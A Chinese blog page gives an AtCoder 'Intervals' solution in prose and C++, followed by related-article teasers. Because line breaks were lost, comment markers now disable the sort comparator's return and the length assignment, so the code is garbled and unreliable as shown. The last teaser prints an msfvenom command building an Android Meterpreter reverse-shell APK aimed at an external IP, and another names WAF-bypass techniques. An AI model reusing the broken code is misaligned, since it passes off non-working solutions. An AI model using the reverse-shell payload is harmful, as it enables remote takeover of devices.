AT F-Intervals 题解

简化题意:

nnn 个区间,保证所有区间同时覆盖一个点,每次将区间平移一个单位,问使得区间两两不交的最小操作数(端点处可重叠)。n≤5000。l,r≤231−1n\leq 5000。l,r\leq 2^{31}-1n5000l,r2311

思路:

答案区间一定是连续的一段。而且最优的情况一定是中间的区间不动,一半移向左,一半移向右。对于 nnn 为偶数的情况,选任意一个均可或新增一个(p,p)(p,p)(p,p) 区间。
先将区间按照长度从大到小排序。
不用枚举这个中间的区间,我们设 fi,j,0/1f_{i,j,0/1}fi,j,0/1 表示前 iii 个区间中 jjj 个向左移动,没选/选了中间的区间。
对于转移,我们分别转移到向左,向右和中间三个状态。
向左举例:fi+1,j+1,k=min(fi+1,j+1,k,fi,j,k+ai.r+ai.len×j)f_{i+1,j+1,k}=min(f_{i+1,j+1,k},f_{i,j,k}+a_i.r+a_i.len\times j)fi+1,j+1,k=min(fi+1,j+1,k,fi,j,k+ai.r+ai.len×j)。因为所有比它大的都要经过它,还需移动 a[i].ra[i].ra[i].r 使整个区间与左侧区间不交。
注意虽然本题 nnn500050005000,但向左的最多只会有一半,所以第二维开到一般即可,要不然容易MLE。
:::info[code]

#include<bits/stdc++.h>
using namespace std;
#define ll long long
const int N=5005;
int n;
int L,R;
struct node{ll l,r,len;
}q[N]; 
ll f[N][N][2];
bool cmp(node x,node y){
//	if(x.len==y.len) return x.l<y.l;return x.len>y.len;
}
int main(){scanf("%d",&n);for(int i=1;i<=n;i++){scanf("%lld%lld",&q[i].l,&q[i].r);//	q[i].l=-q[i].l; q[i].len=q[i].r-q[i].l;//点可重 }sort(q+1,q+1+n,cmp);memset(f,0x3f,sizeof f);L=n/2,R=(n-1)/2;f[0][0][0]=0;for(int i=0;i<n;i++){for(int j=0;j<=L;j++){//	if(i-j<0||i-j>R) continue;if(i-j>=0&&i-j<=R)f[i+1][j][1]=min(f[i+1][j][1],f[i][j][0]-q[i+1].l*L+q[i+1].r*R);if(j+1<=L){if(i-j-1>=0&&i-j-1<=R) f[i+1][j+1][1]=min(f[i+1][j+1][1],f[i][j][1]+q[i+1].r+q[i+1].len*j);if(i-j>=0&&i-j<=R)f[i+1][j+1][0]=min(f[i+1][j+1][0],f[i][j][0]+q[i+1].r+q[i+1].len*j);				}if(i-j<=R){if(i-j-1>=0&&i-j-1<=R) f[i+1][j][1]=min(f[i+1][j][1],f[i][j][1]-q[i+1].l+q[i+1].len*(i-j-1));}if(i-j+1<=R){if(i-j>=0&&i-j<=R)f[i+1][j][0]=min(f[i+1][j][0],f[i][j][0]-q[i+1].l+q[i+1].len*(i-j));}//	cout<<i<<" "<<j<<" "<<0<<" "<<f[i][j][0]<<endl; //	cout<<i<<" "<<j<<" "<<1<<" "<<f[i][j][1]<<endl; }}printf("%lld\n",f[n][L][1]);return 0;
} 

:::

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/92742.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/92742.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《飞算Java AI:从安装到需求转实战项目详细教学》

前引&#xff1a;在当今快速发展的技术环境中&#xff0c;人工智能&#xff08;AI&#xff09;与编程语言的结合为开发者提供了前所未有的便利。飞算Java AI作为一款智能化编程工具&#xff0c;能够显著提升Java开发效率&#xff0c;减少重复性工作&#xff0c;并帮助开发者更专…

6深度学习Pytorch-神经网络--过拟合欠拟合问题解决(Dropout、正则化、早停法、数据增强)、批量标准化

过拟合、欠拟合 在机器学习和深度学习中&#xff0c;过拟合&#xff08;Overfitting&#xff09;和欠拟合&#xff08;Underfitting&#xff09;是模型训练过程中常见的两种问题&#xff0c;直接影响模型的泛化能力&#xff08;即对未见过的数据的预测能力&#xff09;。 1. 欠…

新手向:Python编写简易翻译工具

Python 编写简易翻译工具&#xff1a;从零开始入门指南对于刚接触编程的新手来说&#xff0c;编写一个实用的工具是快速入门的好方法。本文将详细介绍如何用 Python 编写一个简易的翻译工具&#xff0c;帮助理解基础编程概念和实际应用。无需任何编程基础&#xff0c;只需按照步…

爬虫与数据分析结和

任务描述 爬取目标&#xff1a;高三网中国大学排名一览表&#xff0c;网址为 2021中国的大学排名一览表_高三网。爬取内容&#xff1a;学校名称、总分、全国排名、星级排名、办学层级。数据存储&#xff1a;爬取后的数据保存在 CSV 文件中。 代码实现&#xff08;爬取&#xff…

linux下安装php

1.php官网下载所需要的php版本 下载php 2.将下载好的压缩包上传至linux服务器&#xff0c;解压并配置 tar -xzvf php-8.4.11.tar.gz cd php-8.4.11 ./configure --prefix/home/admintest/php/php-8.4.11 # 配置安装路径和选项 make sudo make install3.使用make命令编译完成…

nurbs曲线的matlab

基于MATLAB的NURBS曲线生成与可视化程序 %% NURBS曲线生成与可视化 clc; clear; close all;%% 基本参数设置 degree 3; % 曲线阶数 (degree k-1, k为控制点数) numCtrlPts 6; % 控制点数量 weights ones(1, numCtrlPts); % 权重向量&#xff08;可调整&#…

AWS WAF防护机制深度研究:多模式验证与绕过技术解析

AWS WAF防护机制深度研究&#xff1a;多模式验证与绕过技术解析 技术概述 AWS WAF&#xff08;Web Application Firewall&#xff09;作为亚马逊云服务的核心安全组件&#xff0c;为Web应用提供了多层次的防护机制。该系统基于先进的机器学习算法和规则引擎&#xff0c;能够实…

嵌入式 - Linux软件编程:文件IO

一、概念标准IO是有缓存的IO&#xff0c;文件IO没有缓存&#xff0c;适合于通信、硬件设备操作标准IO是库函数&#xff0c;文件IO是系统调用文件 IO 与标准 IO&#xff08;基于 C 库函数的 IO&#xff09;是 Linux 中两种主要的 IO 方式&#xff0c;二者的核心差异如下&#xf…

ESP32 MQTT对接EMQX本地服务器

文章目录一、搭建EMQX本地MQTT服务器1.1 下载1.2 使用二、MQTT.fx安装使用2.1 破解及安装2.2 客户端界面说明2.3 与 WebSocket 客户端互发消息2.3.1 使用MQTT.fx连接到EMQX本地服务器1.General设置2.User Credentials设置3.进行连接2.3.2 MQTT.fx发布和订阅主题1.发布主题2.订阅…

【Node.js从 0 到 1:入门实战与项目驱动】2.2 验证安装(`node -v`、`npm -v`命令使用)

文章目录 第 2 章:环境搭建 —— 准备你的开发工具 2.2 验证安装(`node -v`、`npm -v`命令使用) 一、基础验证命令解析 二、基础验证场景案例 案例 1:首次安装后的基础验证 案例 2:检查版本兼容性 三、进阶场景案例 案例 3:在脚本中动态获取 Node.js 版本 案例 4:在 npm…

【虚拟机】VMwareWorkstation17Pro安装步骤

哈喽&#xff0c;你好啊&#xff0c;我是雷工&#xff01; 工作中时常会遇到各种各样的系统&#xff0c; 需要做各种测试&#xff0c; 比如要验证某个软件在某个系统版本上是否适配&#xff0c; 这时候将自己的电脑系统换成要测试的系统就会比较麻烦。 这时候使用虚拟机就…

C语言库中的字符函数

目录 求字符串长度 认识strlen 自主实现strlen 字符串拷贝 认识strcpy 自主实现strcpy strncpy 字符串拼接 认识strcat 自主实现sracat strncat 字符串大小比较 认识strcmp 自主实现strcmp strncmp 字符串中寻找子字符串 认识strstr 自主实现strstr 根据符号…

学习日志31 python

1 x, y y, x 是合法的,这是Python的特色语法x, y y, x 是 Python 中一种非常简洁且实用的特色语法&#xff0c;用于交换两个变量的值。这种语法的优势在于&#xff1a;无需额外的临时变量即可完成交换操作代码简洁易读&#xff0c;一眼就能理解其目的执行效率高&#xff0c;在…

Mac配置服务器工具Royal TSX

Royal TSX是mac上类似xshell的工具&#xff0c;可以远程连接服务器、连接ftp等 下载Royal TSX 官网&#xff1a;Royal TSX 下载插件 在设置中的插件市场plugins中下载需要的插件 例如 远程shell插件&#xff1a;Terminal ftp插件&#xff1a;File Transfer 新建一个文档 开…

【小程序】微信小程序开发,给用户发送一次性订阅消息,常见参数长度和数据类型说明,你值得收藏

&#x1f339;欢迎来到《小5讲堂》&#x1f339; &#x1f339;这是《小程序》系列文章&#xff0c;每篇文章将以博主理解的角度展开讲解。&#x1f339; &#x1f339;温馨提示&#xff1a;博主能力有限&#xff0c;理解水平有限&#xff0c;若有不对之处望指正&#xff01;&a…

Pytorch深度学习框架实战教程-番外篇05-Pytorch全连接层概念定义、工作原理和作用

相关文章 视频教程 《Pytorch深度学习框架实战教程01》《视频教程》 《Pytorch深度学习框架实战教程02&#xff1a;开发环境部署》《视频教程》 《Pytorch深度学习框架实战教程03&#xff1a;Tensor 的创建、属性、操作与转换详解》《视频教程》 《Pytorch深度学习框架实战…

生产环境中Spring Cloud Config高可用与动态刷新实战经验分享

生产环境中Spring Cloud Config高可用与动态刷新实战经验分享 一、业务场景描述 在微服务架构中&#xff0c;配置中心承担集中化管理各微服务配置的职责。随着服务实例数量增加&#xff0c;单点部署的Spring Cloud Config Server无法满足生产环境的高可用需求。同时&#xff0c…

华为服务器中Mindie镜像的部署及启动方法

一、部署方法 首先要安装好Docker,然后点开网址https://www.hiascend.com/developer/ascendhub/detail/af85b724a7e5469ebd7ea13c3439d48f 拉取镜像需要申请权限: 注册登录后,即可提交申请,一般需要一个工作日,等审核通过后,点击下载即可弹出如下提示框: 按照上述方法…

Unity基于Recoder的API写了一个随时录屏的工具

Tips: 需要有Recorder Package引用或存在在项目 using UnityEngine; using UnityEditor; using UnityEditor.Recorder; using UnityEditor.Recorder.Input; using System.IO; using System;public class RecorderWindow : EditorWindow {private RecorderController recorderCo…

安卓渗透基础(Metasploit)

生成payloadmsfvenom -p android/meterpreter/reverse_tcp LHOST106.53.xx.xx LPORT8080 -o C:\my_custom_shell.apkapksigner 是 Android SDK 中的一个工具&#xff0c;用于给 APK 文件签名&#xff0c;确保应用的完整性和安全性。进入 File > Settings > Appearance &a…